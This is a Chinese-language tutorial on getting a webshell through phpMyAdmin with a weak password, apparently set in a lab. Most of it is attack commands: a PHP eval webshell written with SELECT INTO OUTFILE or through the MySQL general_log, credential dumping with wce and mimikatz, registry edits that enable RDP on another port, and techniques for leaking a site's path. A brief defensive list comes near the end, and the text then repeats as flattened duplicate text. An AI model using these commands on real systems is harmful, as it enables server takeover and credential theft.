phpmyadmin getshell姿势
字数 1602 2025-08-22 18:37:15

PHPMyAdmin Getshell 技术详解

0x00 前言

PHPMyAdmin 是常用的 MySQL 数据库管理工具,在 CTF 比赛和实际渗透测试中经常遇到 PHPMyAdmin 弱口令或空密码的情况。本教程将详细介绍通过 PHPMyAdmin 获取 WebShell 的各种方法。

实验环境

  • 靶机: Windows7 x64 (IP: 192.168.129.129)
  • 攻击机: Windows10 x64
  • PHP版本: 5.6
  • MySQL版本: 5.7
  • Apache版本: 2.4
  • MySQL密码: root (弱密码)

0x01 常用方法 - SELECT INTO OUTFILE

最常用的方法是使用 SELECT INTO OUTFILE 写入 WebShell,需要知道网站的绝对路径。

步骤

  1. 查看 MySQL 基础目录:

    SELECT @@basedir;
    
  2. 尝试写入 WebShell:

    SELECT '<?php eval($_POST[cmd]); ?>' INTO OUTFILE 'C:/wamp64/www/ma.php';
    
  3. 如果失败,检查 secure_file_priv 设置:

    SHOW VARIABLES LIKE "secure_file_priv";
    
    • 如果值为文件夹目录,则只能修改该目录下的文件
    • 如果值为 NULL,则禁止文件操作
    • 此值为只读变量,只能通过配置文件修改

0x02 利用日志文件写 Shell

MySQL 5.0+ 版本会创建日志文件,可以通过修改日志全局变量获取 WebShell。

步骤

  1. 检查日志相关变量:

    SHOW VARIABLES LIKE 'general%';
    
    • general_log: 日志保存状态 (ON/OFF)
    • general_log_file: 日志保存路径
  2. 开启 general_log 并修改日志路径:

    SET GLOBAL general_log = "ON";
    SET GLOBAL general_log_file = 'C:/wamp64/www/ma.php';
    
  3. 通过日志记录插入一句话木马:

    SELECT '<?php eval($_POST[cmd]); ?>';
    
  4. 生成的 ma.php 文件将包含恶意代码,可使用中国菜刀等工具连接

0x03 获取管理员密码

如果 MySQL 服务是以管理员权限运行的,获取的 WebShell 也是管理员权限。

密码抓取工具

  • wce
  • pwdump
  • mimikatz

示例使用 wce

  1. 上传 wce 工具到服务器
  2. 尝试抓取明文密码
  3. 如果失败,抓取 hash 值
  4. 使用 hashcat 或在线工具如 ophcrack 破解 hash

开启 3389 远程桌面

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

0x04 获取网站绝对路径的方法

写入 WebShell 需要知道网站绝对路径,以下是几种获取方法:

1. 单引号爆路径

在 URL 后加单引号(要求单引号未被过滤且服务器返回错误信息):

http://www.xxx.com/news.php?id=1'

2. 错误参数值爆路径

将参数值改为错误值:

http://www.xxx.com/researcharchive.php?id=-1

3. Google 搜索爆路径

使用 site 语法和关键字搜索:

site:xxx.edu.tw warning
site:xxx.com.tw "fatal error"

4. 测试文件爆路径

尝试访问常见测试文件:

http://www.xxx.com/test.php
http://www.xxx.com/phpinfo.php
http://www.xxx.com/info.php

5. PHPMyAdmin 特定文件爆路径

访问 PHPMyAdmin 目录下的特定文件:

/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php

6. 读取配置文件

如果有文件读取权限,可读取配置文件查找路径:

Windows:

c:\windows\php.ini
c:\windows\system32\inetsrv\MetaBase.xml

Linux:

/etc/php.ini
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/usr/local/apache/conf/httpd.conf

7. Nginx 错误解析爆路径

在图片地址后加 /x.php(要求 Nginx 存在解析漏洞):

http://www.xxx.com/xx.jpg/x.php

0x05 Linux 环境下的注意事项

在 Linux 系统下尝试日志写 Shell 时可能会遇到权限问题:

  1. MySQL 用户通常没有网站目录的写权限
  2. 即使修改了日志路径,也可能无法创建文件
  3. 解决方案:
    • 提升 MySQL 用户权限(不推荐)
    • 寻找其他可写目录
    • 使用其他方法获取 WebShell

防御措施

  1. 修改 PHPMyAdmin 默认路径
  2. 使用强密码
  3. 限制 PHPMyAdmin 访问 IP
  4. 设置 MySQL 的 secure_file_priv 为 NULL 或限制目录
  5. 关闭 general_log 或限制日志目录
  6. 做好文件权限控制

总结

通过 PHPMyAdmin 获取 WebShell 的主要方法包括:

  1. 使用 SELECT INTO OUTFILE 直接写入
  2. 利用 MySQL 日志功能写入
  3. 结合其他漏洞获取路径信息

成功的关键在于:

  • 获取正确的网站绝对路径
  • 拥有足够的文件写入权限
  • 了解服务器环境配置
PHPMyAdmin Getshell 技术详解 0x00 前言 PHPMyAdmin 是常用的 MySQL 数据库管理工具,在 CTF 比赛和实际渗透测试中经常遇到 PHPMyAdmin 弱口令或空密码的情况。本教程将详细介绍通过 PHPMyAdmin 获取 WebShell 的各种方法。 实验环境 靶机: Windows7 x64 (IP: 192.168.129.129) 攻击机: Windows10 x64 PHP版本: 5.6 MySQL版本: 5.7 Apache版本: 2.4 MySQL密码: root (弱密码) 0x01 常用方法 - SELECT INTO OUTFILE 最常用的方法是使用 SELECT INTO OUTFILE 写入 WebShell,需要知道网站的绝对路径。 步骤 查看 MySQL 基础目录: 尝试写入 WebShell: 如果失败,检查 secure_ file_ priv 设置: 如果值为文件夹目录,则只能修改该目录下的文件 如果值为 NULL,则禁止文件操作 此值为只读变量,只能通过配置文件修改 0x02 利用日志文件写 Shell MySQL 5.0+ 版本会创建日志文件,可以通过修改日志全局变量获取 WebShell。 步骤 检查日志相关变量: general_log : 日志保存状态 (ON/OFF) general_log_file : 日志保存路径 开启 general_ log 并修改日志路径: 通过日志记录插入一句话木马: 生成的 ma.php 文件将包含恶意代码,可使用中国菜刀等工具连接 0x03 获取管理员密码 如果 MySQL 服务是以管理员权限运行的,获取的 WebShell 也是管理员权限。 密码抓取工具 wce pwdump mimikatz 示例使用 wce 上传 wce 工具到服务器 尝试抓取明文密码 如果失败,抓取 hash 值 使用 hashcat 或在线工具如 ophcrack 破解 hash 开启 3389 远程桌面 0x04 获取网站绝对路径的方法 写入 WebShell 需要知道网站绝对路径,以下是几种获取方法: 1. 单引号爆路径 在 URL 后加单引号(要求单引号未被过滤且服务器返回错误信息): 2. 错误参数值爆路径 将参数值改为错误值: 3. Google 搜索爆路径 使用 site 语法和关键字搜索: 4. 测试文件爆路径 尝试访问常见测试文件: 5. PHPMyAdmin 特定文件爆路径 访问 PHPMyAdmin 目录下的特定文件: 6. 读取配置文件 如果有文件读取权限,可读取配置文件查找路径: Windows: Linux: 7. Nginx 错误解析爆路径 在图片地址后加 /x.php (要求 Nginx 存在解析漏洞): 0x05 Linux 环境下的注意事项 在 Linux 系统下尝试日志写 Shell 时可能会遇到权限问题: MySQL 用户通常没有网站目录的写权限 即使修改了日志路径,也可能无法创建文件 解决方案: 提升 MySQL 用户权限(不推荐) 寻找其他可写目录 使用其他方法获取 WebShell 防御措施 修改 PHPMyAdmin 默认路径 使用强密码 限制 PHPMyAdmin 访问 IP 设置 MySQL 的 secure_ file_ priv 为 NULL 或限制目录 关闭 general_ log 或限制日志目录 做好文件权限控制 总结 通过 PHPMyAdmin 获取 WebShell 的主要方法包括: 使用 SELECT INTO OUTFILE 直接写入 利用 MySQL 日志功能写入 结合其他漏洞获取路径信息 成功的关键在于: 获取正确的网站绝对路径 拥有足够的文件写入权限 了解服务器环境配置